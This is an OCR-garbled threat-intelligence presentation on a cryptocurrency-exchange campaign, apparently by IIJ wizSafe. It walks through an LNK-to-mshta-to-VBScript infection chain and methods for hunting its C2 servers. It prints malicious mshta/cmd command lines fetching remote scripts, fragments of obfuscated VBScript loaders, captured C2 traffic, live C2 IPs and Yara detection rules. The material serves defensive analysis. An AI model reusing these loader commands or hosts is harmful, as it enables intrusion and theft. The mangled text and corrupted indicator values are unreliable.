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REBEEEXREAZTENICLEHEST v R—2

201947 B ICJPCERT/CC&Y A FKM
TDREHHIFHZ LB

@ WEEJ I —T4
» CryptoCore
> LeeryTurtle
» Dangerous Password
» CryptoMimic
» Lazarus?

® 7— vk
> REBESEXFHBARLERLED)

SEMEURLD\SVBScriptEd D >O—REE33> 3
—bMAY RD 7N ERVZRE

Py BIPAIETDLO- FEELD ETIRNALRRA—)LEETN TS T EREEL
FEBRZNTVT, UDIRIVYITIEISDREG—EINS zip TP A IVEF D O0-FL

CryptoCore Group

Posted on June 24, 2020 by ClearSky Research Team

A Threat Actor Targeting Cryptocurrency Exchanges

oup, that has been tar
2018. The actor

I
1é

wpcrawh and (Mgm\ inf

Read the full report: CryptoCore Grouy

-—
F-Secure. ¥ | LABS

LAZARUS GROUP

[1] JP/CERT CC, fa#URLABVBScriptd 4 W A—R &8 53— bhvhI70ILERW-IRE, https:/blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html, 2019-07

[2] ClearSky Cyber Security Itd., CryptoCore Group, https://www.clearskysec.com/cryptocore-group/, 2020-06
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[3] F-Secure LABS, LAZARUS GROUP CAMPAIGN TARGETING THE CRYPTOCURRENCY VERTICAL,
https://www.f-secure.com/en/consulting/our-thinking/threat-intelligence-report-lazarus-group-targeting-cryptocurrency, 2020-08
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1. RE7 74900 A—ILEZ1{E h bit.ly
2. YO SZIPD7AIILES Y AO—K /é

@ ZIPT7AILDH 5 .
-l assword |1 jeco
» DecoyZ74 JL(PDF, DOCX%i &) y

CKRT—RRESh TS " —
> LNKI77AIL(a—rhybT7AIL)
- /{,ZU_F\77’()I/¢ Drop&Open

REaAAVRIT7ZAILEESTEMN SN

QLR «(‘.(«««7
& 7 & : &

Password.txt JSAT-R.ixt Risk Reviews
(Q1.2020).pdf

Drop&Persistence

LNKZ 74 IL D1l
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HEX v R—2DFN(2020/03 K R) Swizsafe

Decoy2 74 )LD HARSAERIIEHS C
JVCEA - Japan Virtual and Crypto assets Exchange Association =)
cxEst (2020411F) dock - Word o wm _

A7ok  BEEN EUAsE BRE O ®KR T

HOME > o8 > [ESHERGIRLEU2TELEENEFAT] RROEASE

[BESHENSIRICH T2 TELBBEPIR] AROBMS

te Copy&Paste?
Bk, BEEERSIFICRERIEEL LTk, DERHEEZEIRNEL TV BESE

NJTJ\‘%’E%% 385 [BREECET2REEEOSFLEESICHET 2 4EOMIIEL (Lx\
T [RBEMEREE B S] LWl ) DV ET, LAL, EENLHEEBSE, B
SEEICEET YR ANTMHAREICHY, BRETRSEOERETFATH L 124

LW EPBESEERMELOUESUNALATRAVWI E2RBER, SALELER

LN BEN KE!DlEE ‘F%f]@'%‘*é‘ri@ﬁll?&t\@&%imruz% 4

— 1 — A NEWS
202068128 sase

[ESEERGIRICH I TECREREFT] AROBHAOE

L = 'E 1 L EEMLES
%, A0 %ﬁ;ﬁhﬁﬂ)&hiﬂE@aﬂ%&u&aﬂf’ﬂﬁ%%ﬁbt o5 ) et LAl SmeremmEL SE s BEt e EEE s
BIRICH U3 FRARBARATI 2IPRL L O TRRCEL AT, © U ERECESROEES FATETLEELLC L PESEEONA LONESIHEE AT
VZEEEEL SEAELERSNSBIEORECET BAH LOBRL O ETHTOET.
EENEEEBE AR NI REE TR NETSEBE LS, T
CTEESENEOREHEORERULRASLER L (FERENEIRC 20 5 T ELSENE
FIm] ZFELELOTARVIELET.

BB, RENEEERERTSICH>TIE, HE|0FIRELZ2AEEOIRVARR I
HohTidn d EROBBIMEE ST 2RICHHUFNLETHB L. SRAELOR
BOHBESANCE > FBRICRERL TW 2 RBARAOANES/EESNAARIENHS 2
&, REBLEAI—HICT FTRICEYRLEN HNIFENEERT I EHYEB T

=ITH

AN EREESASBAIT o TV AESRFICET A EEIE T BEEEICEY Hdk, AEHFEEEERATIILAEL-TE, BEIONELASHELORRVARKCER,» TRES
BRITBRVREORFHNEBORT ORI £ > THEBLBFHONRYNEE S N 2 AHIE (REBOEBENRELRHT SBICEHNF AR THD I L. SERAEEOMRVAR L IR o BRI

FEHL TV ARELABFOATHIEESNATHEESF 52 2 L. BELEFE—FIST E¥ BISED
HMEABNEINEBRT DL LB UES L. LELHEESSAIBET TV HELREI
H¥ 352 ET(EESEELEY 3 RTRUREOESFTUEDRITOBRICL » TRESNEFORA
HIZOWTIETRLY PDF 7 7 A LECHRCES L, © EAERINSALEAHSLICZEL. EEOEEBNEEE8IC50THFL, SHEEALEE
LTwiE{ZLHFEELVbmEERALNET,

AHBZEICEEL, ERORELEEZSBICEVTHIL, SFBEEALBEL TV
ELCZENEFLLWEDEERONET, ¢

“

FRICOVWTETELYPDFZ 74 L& TEECZE 0.

DecoyZ 74 LD

AARESEENS I XHR, BEEENGIRICB T EELRBLEHIR I AROBHMSE,
https://jvcea.or.jp/news/main-info/20200612-001/ , 2020-06
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WEX Yy R—2 DN (2020/03 K R)

3. ZIPF7AILIZEENDLNKI7MILE
A—HMNET
> VBS-1%4 7> O—k - E{T(mshta.exe)
> URLDIEFEIZIFEHMEURL(bitly)Z % A

@ LNKIT7AILKYEITSNDAT
» C¥Windows¥system32¥mshta.exe https://bit.ly/<path>

GET /edit?id=07SR6HBtdvFAa0sA1KSX0CsQ7kTBPT%2BI7aY5SEKWUzpwzDipHRXZSly/42BwkCrxvz8telFiZ%2BkJV1gw/%2Biho 1 UQ%3D%3D HTTP/1.1

Accept: */#

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727, .NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC
6.0: NET4.0C: NET4.0E)

Host: up.digifincx.com:8080

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 25 Mar 2020 18:34:50 GMT

Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40
X-Powered-By: PHP/5.6.40

Accept-Ranges: bytes

Content-Length: 2380

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/octet-stream

<script language="vbscript">
o
p="4TEMP%¥"&"Pass"&"word "&" txt”
wi="ept” P e
In="CMD.EXE /G"8" "*"&"ECHO riskreview>” 8 &NOTEPAD EXE "8p&”8DEL “Epk
wil="ws"&" cr” &wl
function dbscltds)
with CreateObject("MsxmI2.DOMDocument”).CreateElement( mic")
DataType="bin.base64”
Text=tds
dbsc=appc(.NodeTypedValue)

VBS-1

end with

REEHREVEAIR

()wizSafe

VBS-1M4&HrO—K
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WE X v R—2DiF4(2020/03 B R) S wizsafe

4. VBS-1DZETT oy
> DecoyZ7AILDINRT—RFRR
- % TEMP%¥Password.txtZx{E L TR

- RREBIET7AILHIRG

> kit
- A—HDStartupFAILF ITLNK T 71 JLEERK
- wRFIDLNK I 7AILEBIESURLIZERS
- 774 L% :Xbox.Ink

C2 Server

> VBS-2Z#kAOw7J -E£4T

=9
: 0
- %TEMP%ER FIZVBS 74 ILEVER ; Drop&Execute @(\\Oaé
- I7AILE  <EEFE> vbs - %6'300 S
VBS-2 N < i

&
© O
L C
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5. VBS-2MDE{T
> VBS-3DA »rA—k-E1T
- POSTY T RMEEIEL.
LRARURIZEENDHVBS-3EFELT
- URL:
http://<IP address>:8080/edit?topic=s9[0-9]{3}

POST /edit?topic=s9@93 HTTP/1.1

Connecticn: Keep-Alive

Content-Type: text/plain; Charset=UTF-8

Accept: */*

User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 3

Host: 14@.117.91.22:808@

20@HTTP/1.1 200 0K

Date: Wed, 25 Mar 2020 18:34:53 GMT

Server: Apache/2.4.37 (Win32) OpenSSL/1.8.2p PHP/5.6.4@
X-Powered-By: PHP/5.6.4@

Content-Length: 6982

Keep-Alive: timeout=5, max=10@

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

on error resume next
sc="sc"

ab=12

wsc="w"&sc

ab=ab+23

ab=ab+11
wsc=wsc&"rip"+"t.Sh" VBS_3
ea=1

ab=ab-ea
wsc=wsc&"ell"
ab=ea+ab

VBS-3MAHrO—K
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WEX Yy R—2 DN (2020/03 K R)

6. VBS-3ME1T
> C2H—/NEDEIE
-WMIZKYIRE L= 1EHREPOSTU VTR TEIEL.

AT REZE
- URL:

http://<IP address>:8080
/edit?topic=v[0-9]{2,3}&session=[0-9]{8}[12] &isbn=[0-9]{ 7}

20#

21
22

23#

1. URLICGETUO IR b%ZiX{E
2. 1.DOLARRAICEEFNDI—R%E
Base64EXORTTI—R - B U TET

®wr
F(C/IRL (VBS-3(CEZRINTLVRLY)

L AR RICEFENDI— R&EBase64 T
S1—-RUTET
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EZRIFHmDINE

| MNP )
> LiR—k.J04
> SNS (Twitter’z &)

> loCOEFE
(URLhaus. Pastebin. MalwareBazaar’x &)

@ 57 A
> A—)LDERE
> IN=—Fvk
> HAa—5—
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%@'|§$E®”2$ D wizSafe

| MNP )
> LiR—k.J04
> SNS (Twitter’z &)

> loCOEFE
(URLhaus. Pastebin. MalwareBazaar’x &)

o N HEBINBZT—XIEHEH DT
» o NEAINT-FRTEIIZHE(C
FIASNTULWVEWLATREEN $H S
- WERNBENEHL->TULSAREENH D

@ 57 A
> A—)LDERE
> IN=—Fvk
> HAa—5—
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%@'|§$E®”2$ D wizSafe

)\ «
‘Afﬁb;l-ziﬁh wisly) o R EBINST—XIEHEIMN DL
> SNS(TV\;itterf*.E) o EINTF-RFRTEEIICKHZEIC
> loCOizHs ’ » MASNTOGWATREEADHD
(URLhaus. Pastebin, MalwareBazaar7i &) « WEBEARNBTMNZEDHLHOTLSAIEEENH S
@78l
> A—)LDEA
> NZ—Hub B) - BWRLOTRATZOEHLL

> HO—5—
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Reverse Whois
Certificate Transparency
Passive SSL

Passive DNS

Hunting
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BEEHLEVERIC

’F%EJZ'I?#EODHR% )wizSafe
®@—EX-Y—IJL

>

YV VYV

Reverse Whois » * Whois Privacy Service
whoisLaA—FDEFFHEMOF AN ZRR ZRALTWA-OIERIFE#LL
eXx) DomainTools, VirusTotal, RisklQ, WhoisXML APIG&

Certificate Transparency (CT)
PaSSIVe SSL Registry Registrant ID:
PaSS|Ve DNS Registrant Name: Whois Privacy
. Registrant Organization: Private by Design, LLC
Hunting
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EZRIFHmDINE
@—EX-Y—JL

» Reverse Whois

> Certificate Transparency (CT)
H—/\FEAEDRTEER
ex) Certstream. crt.sh7g& » .

» Passive SSL
H—/\FEBAEIZHS<IPPRLADBEDIE
ex) VirusTotal. RisklQ. CIRCL%&E

» Passive DNS

» Hunting

Copyright Internet Initiative Japan Inc.

BEEHLEVERIC

')wizSafe

2020/03 BF A CIZHTTPSIZFIBEN T
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T ORRBEHLVFARII

’T’%EJZ'I?#EO)HR% )wizSafe
®@—EX-Y—IJL

YVVVYV

A\

Reverse Whois

Certificate Transparency (CT)

Passive SSL © IPFRLRAORASVEFENEITIERAHY.
Passive DNS » BREMNSFHLIWMoCEHKRTES
DNSLO—FOREEZRF o STRGEBHIITELZLDT,

ex) VirusTotal, RisklQ. SecurityTrails, CIRCLGZE #iDURE R EENHE

Hunting

Passive DNS Replication Passive DNS Replication
Date resolved Domain Date resolved IP
20005 Ll C2 BAA> 2020-04-09 23.254.144.139
2020-03-26 dn.idrvmailwork 7R
2020-03-30 88.204.164.59 C2IP7 LA
2020-03-25 name.ownemail.me
I . 2020-03-25 140.117.91.22
2020-03-25 docs.gdriveshare.top
140.117.91[.]22 name.ownemail[.]Jme
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@—EX-Y—JL

Reverse Whois
Certificate Transparency
Passive SSL

Passive DNS

Hunting

- T JL2 7 DHunting

- H—/\MDHunting

YVVVVY
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EZRIFHmDINE
@—EX-Y—JL

Reverse Whois

Certificate Transparency

Passive SSL

Passive DNS

Hunting

- T JL2 7 DHunting

oS4 —ERIZTYTA—FEnf-#&E%E
Yara)l—IVIGEZRWTRDITS

S BRABERTELTIoCHRELNE
ex)VirusTotal, Hybrid AnalysisZg&
- H—/\MDHunting

YVVVVY

Yara/lL—JL

~ -

y BEEHLEVERIC

fg\)wizSafe

~
<
<

\4

E - NILOTT “ ‘
~ Upload @

NILD T 775
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’T’%EJZ'I?#EODHR% ) wizSafe
®@—EX-Y—IJL

Reverse Whois

Certificate Transparency

Passive SSL

Passive DNS

Hunting

- )L 7 MDHunting

- H—/XMHunting

A 3—RyM RSN -BB LR B TREL
P—ERNLC2H—/I\GEEXRDITS

ex)Shodan. Censys, BinaryEdge. FOFA, ZoomEye%:&

~ BE E A//'

@) C2H—\DiEwR e

YVVVVY
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Reverse Whois

Passive SSL

Passive DNS

Hunting

- T JL2 7 DHunting
- H—/\MDHunting

YVVVVY
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Hunting

< /LT 7 MHunting
> LNKZ7MIL D EERAE
> Yara)l—ILEVERK

> FUSAUY—ERIZTYTA—F

SNFLNKT7MILERDITS
(VirusTotalZ{£ )
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<)L 7 DHunting -LNKZ7 4 )L D 451572 - D wizSafe

LECmd*ZFIFAL TLNKD 7 ILZE/N\—X
> E179 b Targetd LU Arguments

> LNKI7AMIILEERLIZIRE DR
- Drive Serial Number, Machine ID (7R XF£) . MAC Address#ii &

--- Header ---
Target created: 2019-83-19 04:45:40
Target modified: 2019-03-19 04:45:40
Target accessed: 2019-88-22 00:44:86

File size: 14,848

Flags: HasTargetldlist, HaslinkInfo, HasWorkingDir, HasArguments, HasIconlLocation, IsU
File attributes: FileAttributeArchive

Icon index: @

Show window: SwNormal (Activates and displays the window. The window is restored to it

E dat e block

Machine ID: desktop-drpleSg
MAC Address: a8:1e:84:e9:96:db
MAC Vendor: QUANTA

Creation: 2019-88-21 18:02:89

ra

Working Directory: C:\WINDOWS\system32
Arguments: https://bit.1ly/2mDY7h(

Icon Location: C:\Windows\System32\notepad.exe
Volume Droid: 9691c382-a774-4cf3-81la7-c99%aclacced
--- Link information ---

Flags: VolumeIdAndlLocalBasePath

Volume Droid Birth: 9691c382-a774-4cf3-8la/-c99acla%cce3d
File Droid: cb57a848-c43d-11e9-a8al-a8le84e996db
File Droid birth: cb57a848-c43d-11e9-a8al-a8le842996db

L 1ion
Drive type: Fixed storage media (Hard drive)
Serial number: C6192C1F
Label: (No label)
Local path: C:‘\Windows\System32\mshta.exe

on enviro nt data b k

Icon path: XSystemRooti®)\System32\notepad.exe

--- Target ID information (Format: Type ==> Value) ---
E ( T ) * LECmd, https://ericzimmerman.qgithub.io/#!index.md

Absolute path: My Computer\C:\Windows\System32\mshta.exe
Copyright Internet Initiative Japan Inc.
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IO F7 DHunting -LNKZ74 )L D EERE-
BERNDLNKZ 74 LD 4 5 R 2

*NERESNFNAYYAENSTILI T (LNKI 74 JL)EER15(2020/03 B )

92aa224af7d71c9fc162fdb6ce53bc5b

eab491a31d4f049695c0aa515a0d90b6

53b800066811b7668e59774bd4c763ca

ff9ee83f13bd8167d9ba780b2a147668

97fd02ae666988d853a68fdd7f7d2e7f

cf1bc39380f40a514aa82e4db6215b11

8cc8bdc017b103f4dbd00e6336809594

Copyright Internet Initiative Japan Inc.

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
mshta.exe

C:¥Windows
¥System32¥
mshta.exe

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
mshta.exe

/c start /b
C:¥Windows¥System32¥mshta
hxxps://bit[.]ly/2WKpO9I

/c start

/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2BvWd6W

hxxps://bit[.]ly/2mDY7hQ

hxxps://bit[.]ly/2mDY7hQ

/c start
/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/32CyMoa

/c start
/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2MgEsjc

hxxps://bit[.]ly/2ktwIhI

desktop-12cOmes

desktop-12cOmes

desktop-drple9q

desktop-drple9q

desktop-3gnlukl

desktop-3gnlukl

desktop-40rv62t

32f76e3a

32f76e3a

c6192cif

c6192c1f

5cd40236

5cd40236

féb43908

BEEHLEVERIC

)wizSafe

94:b8:6d:40:61:b7

94:b8:6d:40:61:b7

a8:1e:84:e9:96:db

a8:1e:84:e9:96:db

94:b8:6d:42:68:1d

94:b8:6d:42:68:1d

d8:c4:97:1f:3c:82

URLD https11&Thxxps], MIETLIICEE@Z TLET
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IO F7 DHunting -LNKZ74 )L D EERE-
BEENDLNK I 74 )L S p0 7% E i Z 0

*NEEINTF=ANY D AENSTILD T (LNKT 74 )L)EE15(2020/03 B )

92aa224af7d71c9fc162fdb6ce53bc5b

eab491a31d4f049695c0aa515a0d90b6

53b800066811b7668e59774bd4c763ca

ff9ee83f13bd8167d9ba780b2a147668

97fd02ae666988d853a68fdd7f7d2e7f

cf1bc39380f40a514aa82e4db6215b11

8cc8bdc017b103f4dbd00e6336809594
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C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
mshta.exe

C:¥Windows
¥System32¥
mshta.exe

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
cmd.exe

C:¥Windows
¥System32¥
mshta.exe

/c start /b
C:¥Windows¥System32¥mshta
hxxps://bit[.]ly/2WKpO9I

/c start

/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2BvWd6W

hxxps://bit[.]ly/2mDY7hQ

hxxps://bit[.]ly/2mDY7hQ

/c start
/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/32CyMoa

/c start
/b %SystemRoot%¥System32¥
mshta hxxps://bit[.]ly/2MgEsjc

hxxps://bit[.]ly/2ktwIhI

desktop-12cOmes

desktop-12cOmes

desktop-drple9q

desktop-drple9q

desktop-3gnluk1

desktop-3gnluk1

desktop-40rv62t

32f76e3a

32f76e3a

c6192cif

c6192cif

5cd40236

5cd40236

f6b43908

REEHREVEAIR

{iswizSafe

94:b8:6d:40:61:b7

94:b8:6d:40:61:b7

a8:1e:84:e9:96:db

a8:1e:84:€9:96:db

94:b8:6d:42:68:1d

94:b8:6d:42:68:1d

d8:c4:97:1f:3c:82

URL®Dhttps & Thxxps1, ML ETLJIICEE®RATOET

27



BEEHLEVERIC

<L 7 DHunting -Yara/L—JL D {ERk- D wizSafe

Yara)L—ILDYERK

rule suspicious_Ink1{
meta:
description = "Detects LNK file containing bitly and mshta"
reference =
"https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html"

strings:
$bitly = "https://bit.ly/" ascii wide nocase
$mshta = "mshta" ascii wide nocase

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and $bitly
and $mshta

BitlyMURLEMshtaZ ST LNK I 7 ILER BT SIL—IL

Copyright Internet Initiative Japan Inc.

rule suspicious_Ink2{
meta:
description = "Detects LNK file containing specific Machine ID,
MAC Address, Drive Serial Number"
reference =
"https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html"

strings:
$midl = "desktop-l12cOmes" ascii wide nocase
$mid2 = "desktop-drple9q" ascii wide nocase
$mid3 = "desktop-3gnlukl"” ascii wide nocase
$mid4 = "desktop-40rv62t" ascii wide nocase
$macl ={d8 c4 97 1f 3c 82}
$mac2 ={a81le 84e996db}
$mac3 ={94 b8 6d 40 61 b7 }
$macd = {94 b8 6d 42 68 1d }
$dsnl ={36 02 d4 5c}
$dsn2 ={3a 6e f7 32}
$dsn3={1f2c 19c6}
$dsn4 = {08 39 b4 f6 }

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them

BEDERBEERZEUINKIZAILERETSZIL—IL




REEHREVEAIR

<)L 7 DHunting -Yara)l—)LIZ & B8 F§E R- S wizsafe

—
Rule Detections Size First seen Last seen Submitters
JEEBBC6F158CA4ED196551460644824D5834CE9368690BEF FABI521FA6EDDSLE
B 2020-02-28 2020-02-28
& P ord. txt.lnk ici ! .25
O 2) assu xt.1n suspicious_Ink 37 161 225KB 06:25-09 06:25:09 1 LNR
Ink  direct-cpu-clock-access
FBFOCFBFF35FB5CE4E89202BECE1554E23C76E45FB54027AB6232A5A6BTORCCR
B 2020-02-27 2020-02-27 G,
= - . f -
O & Password. txt. Ink suspicious_Ink 39 /61 225KB 07:40:46 07:40:46 1 LNi
Ink  runtime-modules  direct-cpu-clock-access  detect-debug-environment
ACBI78CCT2A5FF44CCC4CACIRTDBBDESDAT7R5D3CRATACCACABSADGRSEEALT
i B 2020-02-25 2020-02-25
= C:\Users\Administrator! \Locall\Temp) ord. txt. Ink . . ! Se,
O ey C:\Users\Administrator\AppData'\Local\Temp'\Password. trt. Ink suspicious_Ink 38 /60 224 KB 0316:43 031643 1 LN
Ink  direct-cpu-clock-access
E2EECAABBT31FI5R6BE250EREE1BR324A05844CDC4301BB487A6S72861ABFTTS
i B 2020-02-22 2020-02-22
& C:\Users\Administrator\AppDatalLocal | Temp'P ord. txt. Ink ici I )
O & \Users), nistrator\dppData\Local)Temp'Passw xt.In suspicious_Ink Em 38760 1.43 l;B 1494:49 ‘]4: 549 1 LNR
Ink  direct-cpu-clock-access @ 52 #- -~ ~ ' — ﬁ
, e MNERODBMEF v R—2CHE
DE76385108104230B818E5ACATIDETS14CBAS47733708M61 3341C0DCTET 94248
. . . . 2020-02-21 2020-02-21 T,
O & Password. txt. Ink suspicious_Ink 36162 143 KB 07-34:04 0738:00 1 LNR
Ink  direct-cpu-clock-access
DB5348B098FT81BAZ6A 140850 AC2FER4RRRA5RTCADT26AFB638BFT1350245E25
B 2020-02-20 2020-02-20
® Password. txt. Ink ici / e
O & 3550 xt.1n suspicious_Ink 37161 219 KB 18:14:56 1814:56 1 LNR
Ink direct-cpu-clock-access
A2AF7CEIDDCRARCCERICAIT7902373ED8BRCIFEEE444038838F00R162B6983653
B 2020-02-07 2020-02-07 G,
= - . f
O & Password. txt. Ink suspicious_Ink /61 219 KB 1216433 131633 1 LNR
Ink  direct-cpu-clock-access
426658CC03728238531BC417E33F395827148368353E46464783BE281FB180ET
B 2020-02-06 2020-02-06
® P ord. txt.lnk ici ! .
0O ® - vt 1n suspicious_Ink 38 /&1 1.40 KB 204740 20:11:40 1 LNK
Ink  direct-cpu-clock-access
—

2020/03LARTIZ 7y T O—REN R AZE R R LI FE R (VirusTotal)
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2020/03~2020/12C7v7O—Fan-HEDBRAZ 294 ERR
> BEFLERBRIAENSHROC2YH—/N\D R AL IZEZFTERE (Appendix3iB)
> FIALfYara)l—ILIZEKBEBRAIXZIZFEAELL

S

REE

W|zSafe

Number of uploads

2020/3

2020/4

2020/5

2020/6

2020/7

Month

2020/8

2020/9

2020/10

2020/11

6
5
4
3
1
0 - -

2020/12

Copyright Internet Initiative Japan Inc.
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EHEURLDER A H5E BRI (BM A5~ 3 B) TLNK 7/ LA 7y T E—k
SNBT—REBHY., TITA47EEBIFHRA IS 6E

@ bitly.com/2vQQ9Xo+

o
bltl% ENTERPRISE ~ RESOURCES  ABOUT

CREATED MAR 25, 2020, 1:11 AM

http://docs.gdrivgshare.top:8080/edit?id=YsXzBO\

http://docs.gdriveshare.top:$080/edit?id=YsXzBOVADerlHbBzXBE50ohD18qIBHKSWY:
bitly.com/2vQQ9Xo | CoPY ||

| mdshash | VT First Upload Bitly URL Bitly Creation

a36b1884980301e22f70b2ddd4e5550b

0eb71e4d2978547bd96221548548e9f0

115c42f4al6aabfb2ad4a431dcdd92941

0e03f39a4b4008d76e4caldlc2c4559d

124f4406e1f65d734f1f7430142f6f15

Copyright Internet Initiative Japan Inc.

2020/3/24 2:15hxxps://bit[.]ly/2QGWFaq 2020/3/23 8:23 #91 8BF

2020/3/25 15:06 hxxps://bit[.]ly/2vQQ9Xo  2020/3/251:11 #1485

2020/6/25 7:50 hxxps://bit[.]ly/2YqVbFt 2020/6/24 8:14 92 305
2020/12/4 17:34 hxxps://bit[.]ly/36GH6rx  2020/12/4 15:16 9 2 %R

2020/12/18 12:42 hxxps://bit[.]ly/37vTMC1 2020/12/18 8:00 #5HF

URL®DThttps & MThxxps ], M IETLIICEE®RA TVET
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2020/03 H#ﬁ .
h bit.ly

C2 Server

Execute

2020/12 B |
bit.ly

Google DrivelC 770t X

E

Access&Display

C2 Server

N

Drop&Persistence

. Drop&Execute
LNK
- -\\60\ _ .
N BEE/ Y- nEE
7 1ILZDESE
' VBS->]S(CEE

Execute




< ILT 7 DOHunting -IEZ2RA-{ERDZE1L-

QOURLNZ—2DE1E
LNK -> C2H—/\D&E{E
> 2020/03FF =
http://<FQDN>:8080/edit?id=[A-Za-z0-9+/%]+
> 2020/12FF =
http(s)://<FQDN>/[A-Za-z0-9+/]{43}=

VBS-2 -> C2H—/\M&(E
> 2020/03FF =
http://<IP address>:8080/edit?topic=s9[0-9]{3}
2020/128% =
http(s)://<FQDN or IP address>/

@ kit I77MILBDEL
> 2020/03FF =
Xbox.Ink
> 2020/12FF =
MSEdge.Ink. Ms.Onenote.Ink

Copyright Internet Initiative Japan Inc.

BEEHLEVERIC

D wizSafe

GET /+Eu8cueEnRsCcDRM5c@OR2Fkg36MNK@BWTOJtR7rPNrM= HTTP/1.1

Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.@; Windows NT 6.1;
Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET

CLR 3.0.30729; Media Center PC 6.0; .NET4.0C;

Host: up.myemail.works
Connection: Keep-Alive

.NET4.@E)

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Accept: */*

Accept-Language: en-us

User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.5)

Content-Length: 11
Host: 84.201.189.216
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C2H—/ M Hunting
> H—N\DOEEERE
> RAERDIITVEERK
> AVA—RYMNIERIN-HBERBEFAEL
H—EXRZEZFALC2H—N\ZRDI(T5
(Shodan. Censys#{# )

I'Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.4 e} *

SHODAN

https://www.shodan.io/

REEHREVEAIR

()wizSafe

S
"‘~ Censys R RZHTEERTN  (8080.http.get.headers.server:'Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40" ) AND protocols:"8080/http” AND

https://censys.io/

RAERDIT)DIER

Copyright Internet Initiative Japan Inc.

bit.ly

E
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C2H—/ MHunting -H—/ D 4515 2 - S wizsafe
BEEIDC2H—/VDIP7RL AN R R E AR

41.85.145[.]164

78.94.213[.]101

75.133.9[.184

140.117.91[.]22

88.204.166[.]59

23.254.144[.]1139

8080

8080

8080

8080

8080

8080

Copyright Internet Initiative Japan Inc.

Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

-1416121728 404 Object not found! 1675730159 “BR
577551214 200 Index of / 1675730159 Open
1854619869 404 Object not found! 1675730159 Open
-233582453 404 Object not found! 1675730159 Open
776046083 404 Object not found! 1675730159 Open
-119853929 404 Object not found! 1675730159 Open

*C2H—/\DIPF7RLRIET L7 DHunting$E £ A BRIEHRH S E5(2020/04 B )
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BEEHLEVERIC

)wizSafe

88.204.166.59

L Summary [@ WHOIS

Basic Information
IP address C2 Port Server Header m P

Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)

Network KAZTELECOM-AS (KZ)

41.85.145[.]164 8080 -14161217

Routing 88.204.160.0/20 via AS6939, AS4372

Protocols 445/SMB, 21/FTP| 3389/RDP|8080/HTTP}

7, AS9198

1433/MSSQL

59 7BA

78.94.213[.]101 8080 OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
4.37 (Win32)
enSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p

PHP/5.6.40

577551214

75.133.9[.]184 8080 1854619 404

140.117.91[.]22 8080 -233582453 404

88.204.166][.]159 8080 776046083 404

23.254.144[.]139 8080 -119853929 404

Copyright Internet Initiative Japan Inc.

Object not found!

Object not found!

Object not found!

Object not found!

1675730159 Open

1675730159 Open
Open

1675730159

1675730159

36
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C2H—/\MHunting -H—/\D R E- Qi
BEENDC2H—/ \DIPT KL R h 541 Index of /

Xampp?

IP address C2 Port

41.85.145[.]164

78.94.213[.]101

75.133.9[.]84

140.117.91[.]22

88.204.166[.]59

23.254.144[.]139

8080

8080

8080

8080

8080

8080

Copyright Internet Initiative Japan Inc.

Server Header

Apache/2.4.3% (Win3

OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

Name Last modified Size Description

applications.html 2017-02-27 10:36 3.5K

bitnami.css 2017-02-27 10:36 177
m favicon.ico 2019-09-16 15:00 180K ﬂ
i £ img/ 2019-09-30 23:57 - -
" [£) open.php 2019-09-16 14:55 551K
(7] v.dat 2019-09-23 17:58 1.3M
57\C) xampp/ 2019-09-16 14:29 - Jen

